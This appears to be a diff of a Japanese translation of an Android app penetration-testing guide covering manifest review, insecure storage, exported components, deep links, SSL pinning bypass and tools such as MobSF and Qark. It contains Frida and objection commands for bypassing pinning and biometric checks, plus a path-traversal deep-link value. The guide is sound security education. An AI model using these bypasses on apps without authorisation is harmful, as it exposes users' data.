_Manifest.xml_ファイルでデバッグ可能として設定されたアプリケーション(`debuggable="true"`)は、接続を許可するため、悪用のリスクがあります。デバッグ可能なアプリケーションを見つけて悪用する方法については、デバイス上のデバッグ可能なアプリケーションを見つけて悪用するチュートリアルを参照してください。 - **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定して、特にUSBデバッグが有効な場合にadbを介した不正なデータバックアップを防ぐ必要があります。 -- **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ構成(`android:networkSecurityConfig="@xml/network_security_config"`)は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインに対してHTTPトラフィックを許可することが一例です。 -- **エクスポートされたアクティビティとサービス**: マニフェスト内のエクスポートされたアクティビティとサービスを特定することで、悪用される可能性のあるコンポーネントを明らかにできます。動的テスト中のさらなる分析により、これらのコンポーネントを悪用する方法が明らかになります。 -- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正なアクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの構成も注意深く確認する必要があります。 +- **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ構成(`android:networkSecurityConfig="@xml/network_security_config"`)は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。例として、特定のドメインに対してHTTPトラフィックを許可することがあります。 +- **エクスポートされたアクティビティとサービス**: マニフェスト内のエクスポートされたアクティビティとサービスを特定することで、悪用される可能性のあるコンポーネントを明らかにできます。動的テスト中のさらなる分析により、これらのコンポーネントを悪用する方法が明らかになる可能性があります。 +- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正なアクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの設定も注意深く確認する必要があります。 - **ブロードキャストレシーバーとURLスキーム**: これらのコンポーネントは悪用される可能性があり、特に入力脆弱性に対するURLスキームの管理方法に注意を払う必要があります。 - **SDKバージョン**: `minSdkVersion`、`targetSDKVersion`、および`maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調します。 @@ -91,8 +76,8 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL** ([ht ### タップジャッキング -**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、実際には被害者アプリに対する操作を渡しています。\ -実際には、**ユーザーが被害者アプリで実際に操作を行っていることを知らないようにしています**。 +**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、実際には被害者アプリに対する対話を渡しています。\ +実際には、**ユーザーが被害者アプリで実際にアクションを実行していることを知らないようにしています**。 詳細情報は以下を参照してください: @@ -114,10 +99,10 @@ android-task-hijacking.md **内部ストレージ** -Androidでは、**内部**ストレージに**保存された**ファイルは、**作成した**アプリケーションのみが**アクセスできる**ように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。しかし、開発者は時折、`MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`などのモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは、他のアプリケーション(潜在的に悪意のあるものを含む)によるこれらのファイルへのアクセスを**制限しません**。 +Androidでは、**内部**ストレージに**保存された**ファイルは、**作成した**アプリケーションのみが**アクセスできる**ように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に適切です。しかし、開発者は時折、`MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`などのモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは、他のアプリケーション(潜在的に悪意のあるものを含む)によるこれらのファイルへのアクセスを**制限しません**。 1. **静的分析:** -- `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く検討されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。 +- `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く精査されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。 2. **動的分析:** - アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に対して読み取りまたは書き込み可能に設定されているかどうかを確認**します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。 @@ -132,7 +117,7 @@ Androidでは、**内部**ストレージに**保存された**ファイルは - 外部ストレージは取り外し可能であり、任意のアプリケーションによってアクセスされる可能性があるため、セキュリティが低下します。 3. **外部ストレージからのデータ処理**: - 外部ストレージから取得したデータに対しては常に**入力検証を行う**必要があります。これは、データが信頼できないソースからのものであるため、重要です。 -- 動的に読み込むために外部ストレージに実行可能ファイルやクラスファイルを保存することは強く推奨されません。 +- 動的読み込みのために外部ストレージに実行可能ファイルやクラスファイルを保存することは強く推奨されません。 - アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合、これらのファイルが**署名され、暗号的に検証されていることを確認**してから動的に読み込む必要があります。このステップは、アプリケーションのセキュリティの整合性を維持するために重要です。 外部ストレージは`/storage/emulated/0`、`/sdcard`、`/mnt/sdcard`で**アクセス可能**です。 @@ -160,17 +145,17 @@ A good way to test this is to try to capture the traffic using some proxy like B **Poor Key Management Processes** -一部の開発者は、ローカルストレージに機密データを保存し、コード内にハードコーディングされた/予測可能なキーで暗号化します。これは行うべきではなく、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があります。 +一部の開発者は、機密データをローカルストレージに保存し、コード内にハードコーディングされた/予測可能なキーで暗号化します。これは、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があるため、行うべきではありません。 **Use of Insecure and/or Deprecated Algorithms** -開発者は、認証チェック、データの保存または送信を行うために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**ハッシュ**が使用される場合、ソルトを使用したハッシュのブルートフォース**耐性**が必要です。 +開発者は、認証チェック、データの保存または送信を行うために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**ハッシュ**が使用される場合、ソルトを使用したハッシュのブルートフォース耐性が必要です。 ### Other checks - APKを**難読化する**ことを推奨します。これにより、攻撃者のリバースエンジニアリング作業が困難になります。 - アプリが機密性が高い場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、適切に対処する必要があります。 -- アプリが機密性が高い場合(銀行アプリなど)、**エミュレーター**が使用されているかどうかを確認する必要があります。 +- アプリが機密性が高い場合(銀行アプリなど)、**エミュレーターが使用されているかどうかを確認**する必要があります。 - アプリが機密性が高い場合(銀行アプリなど)、**実行前に自身の整合性を確認**し、変更されていないかを確認する必要があります。 - [**APKiD**](https://github.com/rednaga/APKiD)を使用して、APKをビルドするために使用されたコンパイラ/パッカー/難読化ツールを確認します。 @@ -225,21 +210,6 @@ content-protocol.md --- -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - --- ## Dynamic Analysis @@ -296,7 +266,7 @@ You need to activate the **debugging** options and it will be cool if you can ** **Logging** -開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`が推奨されます。**Pidcat**は使いやすさと可読性のために好まれます。 +開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は使いやすさと可読性のために好まれます。 > [!WARNING] > **Android 4.0以降**、**アプリケーションは自分のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\ @@ -310,20 +280,20 @@ Androidの**クリップボードベース**のフレームワークは、アプ アプリケーションが**クラッシュ**し、**ログを保存**する場合、これらのログは攻撃者に役立つ可能性があります。特にアプリケーションがリバースエンジニアリングできない場合はそうです。このリスクを軽減するために、クラッシュ時にログを記録しないようにし、ログをネットワーク経由で送信する必要がある場合は、SSLチャネルを介して送信することを確認してください。 -ペンテスターとして、**これらのログを確認することをお勧めします**。 +ペンテスターとして、**これらのログを確認することを試みてください**。 **Analytics Data Sent To 3rd Parties** -アプリケーションは、Google Adsenseなどのサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、アプリケーションのトラフィックを**インターセプト**し、第三者サービスに送信される機密情報がないかを確認することが推奨されます。 +アプリケーションは、Google Adsenseなどのサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないか確認することをお勧めします。 ### SQLite DBs -ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中に作成された**データベース**、**テーブル**と**カラム**の名前、保存されたすべての**データ**を確認してください。なぜなら、**機密情報**(これは脆弱性となる可能性があります)を見つけることができるからです。\ +ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中は、作成された**データベース**、**テーブル**と**カラム**の名前、保存されたすべての**データ**を確認してください。機密情報(脆弱性となる可能性があります)を見つけることができるかもしれません。\ データベースは`/data/data/the.package.name/databases`に位置し、例えば`/data/data/com.mwr.example.sieve/databases`のようになります。 データベースが機密情報を保存しており、**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それでも**脆弱性**です。 -`.tables`を使用してテーブルを列挙し、`.schema `を使用してテーブルのカラムを列挙します。 +`.tables`を使用してテーブルを列挙し、`.schema `を実行してテーブルのカラムを列挙します。 ### Drozer (Exploit Activities, Content Providers and Services) @@ -337,7 +307,7 @@ Also remember that the code of an activity starts in the **`onCreate`** method. **Authorisation bypass** -Activityがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むアクティビティが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスすることができます。 +Activityがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むActivityが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスできる可能性があります。 [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/#activities) @@ -351,7 +321,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity **注意**: MobSFは、アクティビティの`android:launchMode`における_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョン(APIバージョン< 21)でのみ危険なようです。 > [!NOTE] -> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が露出しているかによります。 +> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が公開されているかによります。 **機密情報の漏洩** @@ -371,7 +341,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ### **サービスの悪用** [**サービスとは何かをリフレッシュしたい場合は、こちらをお読みください。**](android-applications-basics.md#services)\ -サービスのアクションは`onStartCommand`メソッドで開始されることを覚えておいてください。 +サービスのアクションは`onStartCommand`メソッドで始まることを覚えておいてください。 サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すことができるものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**動的にテスト**して機密情報を抽出したり、認証手段をバイパスしたりする必要があります。\ [**Drozerを使用してサービスを悪用する方法を学びましょう。**](drozer-tutorial/#services) @@ -379,9 +349,9 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ### **ブロードキャストレシーバーの悪用** [**ブロードキャストレシーバーとは何かをリフレッシュしたい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\ -ブロードキャストレシーバーのアクションは`onReceive`メソッドで開始されることを覚えておいてください。 +ブロードキャストレシーバーのアクションは`onReceive`メソッドで始まることを覚えておいてください。 -ブロードキャストレシーバーは、特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱である可能性があります。\ +ブロードキャストレシーバーは、特定のメッセージを待機します。レシーバーがメッセージをどのように処理するかによって、脆弱である可能性があります。\ [**Drozerを使用してブロードキャストレシーバーを悪用する方法を学びましょう。**](./#exploiting-broadcast-receivers) ### **スキーム/ディープリンクの悪用** @@ -410,8 +380,8 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的 **パス内のパラメータ** -**ディープリンクがURLのパス内にパラメータを使用しているかどうかも確認する必要があります**。例えば: `https://api.example.com/v1/users/{username}` の場合、パスをトラバースして、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようなものにアクセスすることができます。\ -アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**(CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合)やその他の脆弱性を引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。 +**ディープリンクがURLのパス内にパラメータを使用しているかどうかも確認する必要があります**。例えば: `https://api.example.com/v1/users/{username}` の場合、パスをトラバースして、`example://app/users?username=../../unwanted-endpoint%3fparam=value`のようなものにアクセスできます。\ +アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**(CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合)、およびその他の脆弱性を引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。 **さらなる例** @@ -419,7 +389,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的 ### トランスポート層の検査と検証の失敗 -- **証明書はAndroidアプリケーションによって常に適切に検査されるわけではありません**。これらのアプリケーションが警告を無視し、自己署名証明書を受け入れたり、場合によってはHTTP接続に戻ったりすることは一般的です。 +- **証明書はAndroidアプリケーションによって常に適切に検査されるわけではありません**。これらのアプリケーションが警告を見落とし、自己署名証明書を受け入れたり、場合によってはHTTP接続に戻ったりすることは一般的です。 - **SSL/TLSハンドシェイク中の交渉は時々弱く**、安全でない暗号スイートを使用しています。この脆弱性により、接続が中間者攻撃(MITM)に対して脆弱になり、攻撃者がデータを復号化できるようになります。 - **プライベート情報の漏洩**は、アプリケーションが安全なチャネルを使用して認証するが、他のトランザクションのために非安全なチャネルで通信する場合にリスクがあります。このアプローチは、セッションクッキーやユーザーの詳細などの機密データを悪意のあるエンティティによる傍受から保護できません。 @@ -442,9 +412,9 @@ HTTPトラフィックを検査するには、**プロキシツールの証明 SSLピンニングが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のためにさまざまな方法があります: - 自動的に**apkを修正**して**SSLピンニングをバイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにrootが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。 -- **Frida**(下記で説明)を使用してこの保護をバイパスすることもできます。Burp+Frida+Genymotionを使用するためのガイドはこちらです:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- **Frida**を使用してこの保護をバイパスすることもできます(以下で説明)。Burp+Frida+Genymotionを使用するためのガイドはこちらです:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - **objection**を使用して**SSLピンニングを自動的にバイパス**することもできます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- **MobSF動的分析**を使用して**SSLピンニングを自動的にバイパス**することも試みることができます(下記で説明)。 +- **MobSF動的分析**を使用して**SSLピンニングを自動的にバイパス**することも試みることができます(以下で説明)。 - まだキャプチャしていないトラフィックがあると思われる場合は、**iptablesを使用してトラフィックをburpに転送**することを試みることができます。このブログを読んでください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### 一般的なWeb脆弱性の検索 @@ -492,19 +462,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **指紋/生体認証バイパス** -次のFridaスクリプトを使用することで、Androidアプリケーションが特定の機密領域を保護するために行っている**指紋認証をバイパス**することが可能になるかもしれません: +次のFridaスクリプトを使用することで、Androidアプリケーションが特定の機密領域を保護するために実行している**指紋認証をバイパス**することが可能になるかもしれません: ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **バックグラウンド画像** -アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリがより早く読み込まれているように見えます。 +アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリの前に画像が読み込まれ、アプリがより速く読み込まれたように見えます。 -しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む可能性**があります(アクセスするにはrootが必要です)。 +しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む**可能性があります(アクセスするにはrootが必要です)。 スナップショットは通常、次の場所に保存されます: **`/data/system_ce/0/snapshots`** -Androidは、**FLAG_SECURE**レイアウトパラメータを設定することで、スクリーンショットのキャプチャを**防ぐ方法**を提供します。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりすることを防ぎます。 +Androidは、FLAG_SECUREレイアウトパラメータを設定することで**スクリーンショットのキャプチャを防ぐ**方法を提供します。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりするのを防ぎます。 ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` @@ -530,28 +500,13 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); おそらく、あなたはこの種の脆弱性をウェブから知っているでしょう。Androidアプリケーションにおいては、これらの脆弱性に特に注意する必要があります: - **SQL Injection:** 動的クエリやコンテンツプロバイダーを扱う際は、パラメータ化されたクエリを使用していることを確認してください。 -- **JavaScript Injection (XSS):** すべてのWebViewに対してJavaScriptおよびプラグインサポートが無効になっていることを確認してください(デフォルトで無効)。 [More info here](webview-attacks.md#javascript-enabled). +- **JavaScript Injection (XSS):** すべてのWebViewに対してJavaScriptとプラグインのサポートが無効になっていることを確認してください(デフォルトで無効)。 [More info here](webview-attacks.md#javascript-enabled). - **Local File Inclusion:** WebViewはファイルシステムへのアクセスを無効にする必要があります(デフォルトで有効) - `(webview.getSettings().setAllowFileAccess(false);)`。 [More info here](webview-attacks.md#javascript-enabled). - **Eternal cookies**: Androidアプリケーションがセッションを終了するとき、クッキーが取り消されない場合や、ディスクに保存されることがあります。 - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags) --- -
- -経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加してください! - -**Hacking Insights**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう - -**Real-Time Hack News**\ -リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を最新の状態に保ちましょう - -**Latest Announcements**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - ## Automatic Analysis ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) @@ -566,7 +521,7 @@ docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` MobSFは**Android**(apk)**、IOS**(ipa) **およびWindows**(apx)アプリケーションを分析できます(_WindowsアプリケーションはWindowsホストにインストールされたMobSFから分析する必要があります_)。\ -また、**Android**または**IOS**アプリのソースコードで**ZIP**ファイルを作成すると(アプリケーションのルートフォルダーに移動し、すべてを選択してZIPファイルを作成)、それも分析できます。 +また、**Android**または**IOS**アプリのソースコードを含む**ZIP**ファイルを作成すると(アプリケーションのルートフォルダーに移動し、すべてを選択してZIPファイルを作成)、それも分析できます。 MobSFは**diff/Compare**分析を行い、**VirusTotal**を統合することもできます(_MobSF/settings.py_にAPIキーを設定し、`VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`を有効にする必要があります)。`VT_UPLOAD`を`False`に設定すると、**ハッシュ**がファイルの代わりに**アップロード**されます。 @@ -575,32 +530,32 @@ MobSFは**diff/Compare**分析を行い、**VirusTotal**を統合することも **MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要があります(VMやDockerでは動作しません)。_注:最初に**genymotionでVMを起動**し、**その後MobSFを起動する必要があります。**_\ **MobSF動的アナライザー**は以下を行うことができます: -- **アプリケーションデータをダンプ**(URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル)。これらはすべて自動的に行われますが、スクリーンショットは、撮りたいときに押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するには"**Exported Activity Tester**"を押す必要があります。 +- **アプリケーションデータをダンプ**(URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル)。これらはすべて自動的に行われますが、スクリーンショットは撮りたいときにボタンを押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するために"**Exported Activity Tester**"を押す必要があります。 - **HTTPSトラフィックをキャプチャ** - **Frida**を使用して**ランタイム** **情報**を取得 -Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し、トラフィックを**キャプチャ**するためにグローバル**プロキシ**設定を行います。テストされたアプリケーションからのトラフィックのみをキャプチャします。 +Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し、トラフィックを**キャプチャ**するためのグローバル**プロキシ**設定が行われます。テストされたアプリケーションからのトラフィックのみをキャプチャします。 **Frida** -デフォルトでは、SSLピンニング、**ルート検出**、**デバッガ検出**を**バイパス**し、**興味深いAPI**を**監視**するためにいくつかのFridaスクリプトを使用します。\ +デフォルトでは、SSLピンニング、**ルート検出**、**デバッガ検出**を**バイパス**し、**興味深いAPI**を**監視**するためにいくつかのFridaスクリプトも使用します。\ MobSFはまた、**エクスポートされたアクティビティを呼び出し**、それらの**スクリーンショットを取得**し、レポート用に**保存**することもできます。 -動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログを見ることができ、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値を見ることができます(これは"Start Instrumentation"を押した後に表示されます)。\ -MobSFは、独自の**Fridaスクリプト**を読み込むこともできます(Fridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)、それらを**選択**し、"**Load**"を押し、"**Start Instrumentation**"を押すだけです(そのスクリプトのログは"**Frida Live Logs**"内で見ることができます)。 +動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すとFridaスクリプトによって生成されたログが表示され、"**Live API Monitor**"を押すとフックされたメソッドへのすべての呼び出し、渡された引数、返された値が表示されます(これは"Start Instrumentation"を押した後に表示されます)。\ +MobSFは自分の**Fridaスクリプト**を読み込むこともできます(Fridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)、それらを**選択**し、"**Load**"を押し、"**Start Instrumentation**"を押すと、そのスクリプトのログが"**Frida Live Logs**"内に表示されます。 ![](<../../images/image (419).png>) さらに、いくつかの補助的なFrida機能があります: -- **読み込まれたクラスを列挙**:すべての読み込まれたクラスを印刷します -- **文字列をキャプチャ**:アプリケーションを使用中にキャプチャされたすべての文字列を印刷します(非常に騒がしい) -- **文字列比較をキャプチャ**:非常に便利です。**比較されている2つの文字列**と結果がTrueかFalseかを**表示**します。 -- **クラスメソッドを列挙**:クラス名("java.io.File"など)を入力すると、そのクラスのすべてのメソッドを印刷します。 +- **読み込まれたクラスを列挙**:すべての読み込まれたクラスを表示します +- **文字列をキャプチャ**:アプリケーションを使用中にキャプチャされたすべての文字列を表示します(非常に騒がしい) +- **文字列比較をキャプチャ**:非常に役立つ可能性があります。**比較されている2つの文字列**と結果がTrueかFalseかを**表示**します。 +- **クラスメソッドを列挙**:クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドが表示されます。 - **クラスパターンを検索**:パターンでクラスを検索 -- **クラスメソッドをトレース**:**クラス全体をトレース**(そのクラスのすべてのメソッドの入力と出力を確認)。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。 +- **クラスメソッドをトレース**:**クラス全体をトレース**(クラスのすべてのメソッドの入力と出力を確認)。デフォルトではMobSFは興味深いAndroid APIメソッドをいくつかトレースします。 -使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押す必要があり、すべての出力は"**Frida Live Logs**"に表示されます。 +使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押すと、すべての出力が"**Frida Live Logs**"に表示されます。 **Shell** @@ -616,7 +571,7 @@ receivers **HTTPツール** HTTPトラフィックがキャプチャされると、"**HTTP(S) Traffic**"の下にキャプチャされたトラフィックの醜いビューが表示されるか、"**Start HTTPTools**"の緑のボタンでより良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**を**プロキシ**(BurpやOwasp ZAPなど)に**送信**できます。\ -そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSB HTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。 +そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSBのHTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。 MobSFで動的分析を終えたら、"**Start Web API Fuzzer**"を押して**HTTPリクエストをファズ**し、脆弱性を探すことができます。 @@ -640,7 +595,7 @@ MobSFで動的分析を終えたら、"**Start Web API Fuzzer**"を押して**HT ### [Qark](https://github.com/linkedin/qark) -このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、見つかった脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための**"Proof-of-Concept"デプロイ可能APK**と**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。 +このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための**"Proof-of-Concept"デプロイ可能APK**と**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。 ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -662,7 +617,7 @@ reverse-apk relative/path/to/APP.apk SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、脆弱性を探すために_.apk_ファイルを分析します。これは、APKを解凍し、一連のルールを適用して脆弱性を検出することによって行われます。 -すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちの必要に応じて分析するための独自のルールを作成できます。 +すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちが必要とする分析のために独自のルールを作成できます。 最新のバイナリは[ダウンロードページ](https://superanalyzer.rocks/download.html)からダウンロードしてください。 ``` @@ -682,7 +637,7 @@ StaCoAnは、開発者、バグバウンティハンター、倫理的ハッカ ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugsフレームワークは、Androidアプリケーションの潜在的なセキュリティ脆弱性を開発者やハッカーが見つけるのを助けるAndroid脆弱性分析システムです。\ +AndroBugs 